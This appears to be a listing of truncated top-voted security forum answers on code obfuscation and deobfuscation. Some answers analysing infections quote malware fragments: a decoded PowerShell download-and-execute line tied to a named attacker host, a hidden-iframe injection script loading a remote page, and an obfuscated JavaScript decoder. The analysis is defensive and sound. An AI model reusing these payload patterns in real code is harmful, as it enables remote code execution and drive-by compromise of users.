177

Fortunately, almost all PHP scripts can be deobfuscated with 4 simple methods. We're going to use these four methods to create a canonical answer. Before we begin, let's collect a list of common tools that assist in deobfuscating these malicious files so we can do the work ourselves. Common tools that aid in deobfuscation UnPHP. This greatly aids in de-...


120

There are two benefits to code obfuscation: It weeds out the shallow end of the attacker pool. Script kiddies who struggle to make sense of your code will go somewhere else. It increases effort required of skilled attackers. No matter how skilled they are, obfuscation is cheaper than de-obfuscation, and the result is generally less comprehensible than the ...


107

Short version The attacker is able to run any PowerShell commands on your machine and can be found by getting the owner of "ec2-54-169-248-105.ap-southeast-1.compute.amazonaws.com". Long version I dumped the binary array into a file and uploaded it to VirusTotal. The newly launched file seems like an additional stage to me since it is really small (1.7 ...


105

This is a typical obfuscated JavaScript malware which targets the Windows Script Host to download the rest of the payload. In this case, it downloads what appears to be mainly a Chrome Extension (manifest.json and bg.js), the autoit Windows executable, and some autoit scripts which install them. All of these files are named with .jpg extensions on the (...


85

No. You should not rely upon the obscurity of your firmware in order to hide potential security vulnerabilities that exist regardless of whether or not you encrypt/obfuscate your firmware. I have a radical suggestion: do the exact opposite. Make your firmware binaries publicly available and downloadable, freely accessible to anyone who wants them. Add a ...


84

A malicious hosting provider can do a lot more than simply steal your code. They can modify it to introduce backdoors, they can steal your clients' data, and ruin your whole business. Trust must exist between you and the host. About the source code. If the attacker is trying to gain access to your source code, they will gain access to your source code, ...


83

First of all, your security guy is likely right. It doesn't look like you have anything to worry about because from your description of the issue and the guy's response I think that the script tags were properly encoded. Think of it as a neutralized weapon. It's there, yes, but it cannot do any damage. Running that code through a deobfuscator gives us $["...


78

To understand this, we must understand how crawlers find the email. While steering away from the technicals, the basic idea is this (today's algorithms are, of course, smarter than that): Find @ in the page. Is there a dot within 255 characters after the @? Grab what's behind the @ until you reach a space or the beginning of the line. Grab the . and what's ...


67

Is it possible to "de-blur" the image, if you know the algorithm and the setting, or by trial & error? Here, I assume we are only considering images which were blurred using a filter applied to the image, and not as a result of a poor capture (motion/optical blur). Deblurring definitely is possible, and you will see support in many image processing ...


58

I highly suspect this is a self rolled, or at least very outdated method. It is very weak by modern standards and should not be used to protect anything important. Short passwords could be cracked with no more than 2^64 brute force attempts, which is quite possible with even a normal computer. If both halves of the result are independent, even with fairly ...


51

In approximate order of increasing complexity (not security, and methods may be combined), here are some ideas that would be easy for anyone used to puzzles/writing code/maths. A more complete idea is below. NB: when I say "secret" I mean not written in the book. These are all easy, and most useful to deter the casual thief. Have a memorised secret ...


48

The procedure for dealing with obfuscated JavaScript is very similar to how you deal with it in PHP. In this case, the real action is going on in this line: uumod=(new Function("fgwus","var ccuru=fgwus.match(/\\S{5}/g),tgrdm=\"\",ikkne=0;while(ikkne<ccuru.length){tgrdm+=String.fromCharCode(parseInt(ccuru[ikkne].substr(3,2),16)^76);ikkne++;}"+tljsw()+...


45

The problem with client sided Obfuscation/Protection is that the attacker will always win. Your code runs on his PC so he can intercept and manipulate everything in the end. In the specific case of .NET it might make sense to apply basic obfuscation to remove function names for example but free tools are perfectly fine for that. To answer your question a ...


43

Short version Your machine is compromised and the attacker still controls your computer. Long version By decoding the base64 encoded expression (the string passed in the -Enc argument), you obtain the code that is executed by PowerShell: [Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} iex (New-Object Net.WebClient).DownloadString(...


38

Well, this calls for three comments: You cannot protect secrets with code obfuscation. Not really. Code obfuscation somehow works against unmotivated attackers, but it is not strong. If there is commercial value in breaking through it, then it will happen. If you don't trust your hosting service then look for another hosting service. If the secrecy of your ...


35

What is being described is a protection against some classes of known-plaintext attack. Up until the 1960s or so, most ciphers were vulnerable to these (eg. many of the attacks on the Enigma cipher were based on knowing or guessing part of the plaintext). Modern ciphers are effectively immune to this: knowing that the AES-encrypted message is "Attack at ...


29

No, it isn’t worth it. Nobody wants to steal your code. A thousand million SaaS products have been launched by individuals and companies using third-party hosting of some description or another, and roughly none of them have found themselves to be competing against themselves after having the code for their products stolen by their hosts. So, should you ...


29

The last line performs an eval() of function v78ZFAX() given the two parameters like so: eval(v78ZFAX($vFHLJ89, $vIIJ30Y)); That first parameter is the part that takes up the bulk of the code. It is assigned all that random-looking garbage, with . concatenating all those strings together into one long string: $vFHLJ89 = '...


29

I haven't got the time to fully reverse-engineer what this script does, but it seems to link to several .jpg files that are actually not images but text, and then references some .au3 files, suggesting that it actually saves those .jpg files under that extension. Those .au3 files seem to match AutoIt's file extension and indeed they look like valid AutoIt ...


26

The article actually describes two constructions, the second one using the first one as a building tool. The first construction provides indistinguishability obfuscation while the second one is functional encryption. Indistinguishability obfuscation is a rather esoteric property, which is not what non-academic think about when they hear "obfuscation"; the ...


25

Mark's excellent answer deals with the case where the obfuscation is relatively straightforward. This addresses 99% of cases, but once in a while you may come across something a bit more malicious, e.g. using encryption of the source code too. Executing the code (or at least part of it) can be a much quicker way to find out what the code is doing than ...


24

This isn't aimed at defeating human analysis, it's aimed at defeating intrusion detection / prevention systems, and other automated scans, as the code comes into the network. PHP is a Turing-complete language, which means that a single piece of code can be represented in a near-infinite number of ways. Automated systems have limited resources, and are ...


24

I think the operative word in the question here is "afraid." The aversion is based on fear, not fact. The reality is, the threat model isn't particularly realistic. Commercial web software development companies nearly universally use JavaScript these days, obfuscated or otherwise, and I challenge you to find me even a single example of one that's had it's ...


23

The first (in bold) code is actually this: Decoded with deobfuscatejavascript.com (function() { var pzt = document.createElement('iframe'); pzt.src = 'http://www.betterbailbonds.net/VLNSec01/cnt.php'; pzt.style.position = 'absolute'; pzt.style.border = '0'; pzt.style.height = '1px'; pzt.style.width = '1px'; pzt.style.left = '1px'...


22

The Code Golf is essentially to create an unkeyed 1:1 function to transform images. As such, it's highly vulnerable to chosen-plaintext attacks: if an attacker can convince Alice or Bob to transmit a carefully-crafted image, they can build up a map of what pixels get moved to where for that image size. Further, if the images being transmitted have ...


21

You're very much getting into the realm of "Here be dragons" when you look into hardware manipulation like this. I don't know of any research or in-the-wild attack that has done any practical experimentation with this, so my answer will be purely academic. First, it's probably best if I explain a bit about how microcode works. If you're already clued up on ...


21

If I search Google for "parlaimnet biuldnig", I see: Showing results for parliament building Search instead for parlaimnet biuldnig So no, such mis-spells are not sufficient to fool automated systems or to act as a CAPTCHA. However, searching for "the bobm" Google doesn't offer me a correction, so the technique is not necessarily completely useless. I ...


20

Although modern x86 processors allow for runtime microcode upload, the format is model-specific, undocumented, and controlled by checksums and possibly signatures. Also, the scope of microcode is somewhat limited nowadays, because most instructions are hardwired. See this answer for some details. Modern operating systems upload microcode blocks upon boot, ...


20

I would imagine the context of that statement was in the context of a cypher where a word repeated in multiple places produces the same cypher text in each location. If I see: AER TEO ZRE SGR. AER FSD ZFD DFG. YTR ASD AER DSG. Language analysis would reveal that "AER" is likely "The", and from there if you intercept sufficient number of encrypted ...


19

In addition to Adnan's answer: This is a by-product of when an attacker fuzzes your application (he just sends tons of payloads to see if one works). If your application handles encoding and escaping of user input correctly, you should not need to worry about being vulnerable. There are some countermeasures you can take to reduce these attacks such as ...


Only top voted, non community-wiki answers of a minimum length are eligible